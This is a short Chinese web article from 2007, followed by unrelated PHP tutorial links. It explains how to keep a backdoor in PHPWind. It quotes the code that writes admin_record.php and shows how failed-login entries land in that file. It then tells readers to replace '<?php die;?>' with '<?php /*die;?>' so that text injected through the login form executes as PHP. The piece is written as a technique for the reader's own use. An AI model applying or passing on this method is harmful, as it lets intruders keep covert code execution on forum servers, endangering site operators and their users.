快捷導(dǎo)航

pw的一個放后門的方法分析

更新時間：2007年10月08日 22:38:36 作者：

pw的一個放后門的方式

data\bbscache\admin_record.php是記錄后臺登陸和操作的,我們看看是怎么操作這個文件的:

admin\admincp.php:

$bbsrecordfile=D_P."data/bbscache/admin_record.php";
if(!file_exists($bbsrecordfile)){
writeover($bbsrecordfile,"<?php die;?>\n");
}//這個if只是說如果不存在admin_record.php 就用代碼生成一個

如果我們只是編輯admin_record.php 把<?php die;?>這個給刪除呢 :)

我們看下我們的代碼雜寫入admin_record.php的

你在后臺登陸http://localhost/PHPWind_GBK_6.0RC/upload/admin.php
隨便用個錯誤的用戶登陸就會有如下記錄:

|admin|s|Logging Failed|127.0.0.1|1191667510|

呵呵所以我們可以通過這個寫入我們的代碼,不過這里是有過濾的不可以用<

所以我們的后門應(yīng)該這樣留:<?php die;?> 改為 <?php /*die;?>

pw的一個放后門的方法分析

相關(guān)文章

在PHP中讀取和寫入WORD文檔的代碼
因為加密等原因，如果直接用FILE后者OPEN等函數(shù)讀取WORD的話往往是亂碼，原來要使用COM 這是我簡單的一個讀取并存儲到新的WORD上的文件
2008-04-04
php中rsort函數(shù)實例用法
在本篇文章里小編給大家分享的是一篇關(guān)于php中rsort函數(shù)實例用法內(nèi)容，有興趣的朋友們可以學(xué)習(xí)下。
2021-01-01
PHP解決輸出中文亂碼問題講解
這篇文章主要介紹了PHP解決輸出中文亂碼問題講解,本篇文章通過簡要的案例,講解了該項技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下
2021-07-07
PHP排序算法之基數(shù)排序(Radix Sort)實例詳解
這篇文章主要介紹了PHP排序算法之基數(shù)排序(Radix Sort),結(jié)合實例形式詳細(xì)分析了php基數(shù)排序算法的原理、實現(xiàn)方法與相關(guān)使用技巧,需要的朋友可以參考下
2018-04-04
thinkphp如何獲取客戶端IP
這篇文章主要介紹了thinkphp如何正確獲取客戶端IP，除了使用內(nèi)置get_client_ip函數(shù)，還有沒有其他方法？請閱讀下文揭曉答案。
2015-11-11
談?wù)剰膒hpinfo中能獲取哪些值得注意的信息
PHPInfo()函數(shù)主要用于網(wǎng)站建設(shè)過程中測試搭建的PHP環(huán)境是否正確，很多網(wǎng)站在測試完畢后并沒有及時刪除，因此當(dāng)訪問這些測試頁面時，會輸出服務(wù)器的關(guān)鍵信息，這些信息的泄露將導(dǎo)致服務(wù)器被滲透的風(fēng)險。下面就來看看詳細(xì)的介紹吧。
2017-03-03
php下的原生ajax請求用法實例分析
這篇文章主要介紹了php下的原生ajax請求用法,結(jié)合實例形式分析了前臺原生ajax請求與后臺PHP響應(yīng)相關(guān)操作技巧,需要的朋友可以參考下
2020-02-02
php實現(xiàn)快速排序法函數(shù)代碼
取一個值與其他值進(jìn)行比較，小的放在這個值的左邊，大的放在這個值的右邊，然后按照這個方式遞歸
2012-08-08
php使用curl簡單抓取遠(yuǎn)程url的方法
這篇文章主要介紹了php使用curl簡單抓取遠(yuǎn)程url的方法,涉及php操作curl的技巧,具有一定參考借鑒價值,需要的朋友可以參考下
2015-03-03
使用PHP接收POST數(shù)據(jù),解析json數(shù)據(jù)
本篇文章是對使用PHP接收POST數(shù)據(jù)以及json數(shù)據(jù)進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下
2013-06-06